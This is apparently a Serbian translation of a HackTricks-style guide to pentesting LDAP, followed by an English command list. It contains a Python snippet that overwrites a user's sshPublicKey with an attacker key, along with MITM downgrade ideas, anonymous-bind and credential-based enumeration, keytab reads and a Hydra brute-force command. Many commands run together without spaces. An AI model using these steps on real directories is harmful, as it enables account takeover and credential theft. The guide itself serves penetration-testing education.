Korišćenje LDAP (Lightweight Directory Access Protocol) je uglavnom za lociranje različitih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Nudi pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP-om, imajući manji kodni otisak.
LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko nekoliko servera, pri čemu svaki server sadrži replikovanu i sinhronizovanu verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSAs po potrebi kako bi dostavio ujedinjen odgovor zahtevaocu.
Organizacija LDAP direktorijuma podseća na hijerarhiju stabla, počevši od korenskog direktorijuma na vrhu. Ovo se granči ka zemljama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite odeljenja ili departmane, konačno dostižući nivo individualnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
Podrazumevani portovi: 389 i 636 (ldaps). Globalni katalog (LDAP u ActiveDirectory-u) je dostupan podrazumevano na portovima 3268 i 3269 za LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP format za razmenu podataka
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).
Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
Linije 10-16 definišu 2 organizacione jedinice: dev i sales
Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
Upis podataka
Imajte na umu da ako možete da menjate vrednosti, možete izvršiti zaista interesantne akcije. Na primer, zamislite da možete promeniti informacije "sshPublicKey" vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda ssh čita javne ključeve iz LDAP-a. Ako možete da promenite javni ključ korisnika, moći ćete da se prijavite kao taj korisnik čak i ako autentikacija lozinkom nije omogućena u ssh-u.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Snifovanje lozinki u čistom tekstu
Ako se LDAP koristi bez SSL-a, možete snifovati lozinke u čistom tekstu u mreži.
Takođe, možete izvesti MITM napad u mreži između LDAP servera i klijenta. Ovde možete izvesti Napad na smanjenje nivoa sigurnosti kako bi klijent koristio lozinke u čistom tekstu za prijavljivanje.
Ako se koristi SSL, možete pokušati izvesti MITM kao što je gore navedeno, ali nudeći lažni sertifikat, ako ga korisnik prihvati, možete smanjiti nivo autentifikacije i ponovo videti lozinke.
Anoniman pristup
Zaobilaženje TLS SNI provere
Prema ovom objašnjenju samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik:
LDAP anonimne veze omogućavaju neautentifikovanim napadačima da dobiju informacije iz domena, kao što su potpuni popis korisnika, grupa, računara, atributa korisničkih naloga i pravila lozinke domena. Ovo je zastarela konfiguracija, i od Windows Servera 2003, samo autentifikovanim korisnicima je dozvoljeno da pokreću LDAP zahteve.
Međutim, administratori su možda morali da podele određenu aplikaciju za dozvolu anonimnih veza i dali više pristupa nego što je bilo planirano, čime su omogućili neautentifikovanim korisnicima pristup svim objektima u AD.
Validni kredencijali
Ako imate validne kredencijale za prijavljivanje na LDAP server, možete izlistati sve informacije o Administratoru domena koristeći:
Kada jednom imate kontekst imenovanja, možete napraviti neke uzbudljivije upite. Ovaj jednostavan upit treba da vam pokaže sve objekte u direktorijumu:
Windapsearch je Python skripta korisna za enumeraciju korisnika, grupa i računara sa Windows domena korišćenjem LDAP upita.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Proverite nul kredencijale ili da li su vaše kredencijale validne:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Ako pronađete nešto što kaže da je "bind mora biti završen", to znači da su pristupni podaci netačni.
Da biste videli da li imate pristup bilo kojoj lozinci, možete koristiti grep nakon izvršavanja jednog od upita:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
pbis
Pbis možete preuzeti sa ovde i obično se instalira u /opt/pbis.
Pbis vam omogućava da lako dobijete osnovne informacije:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f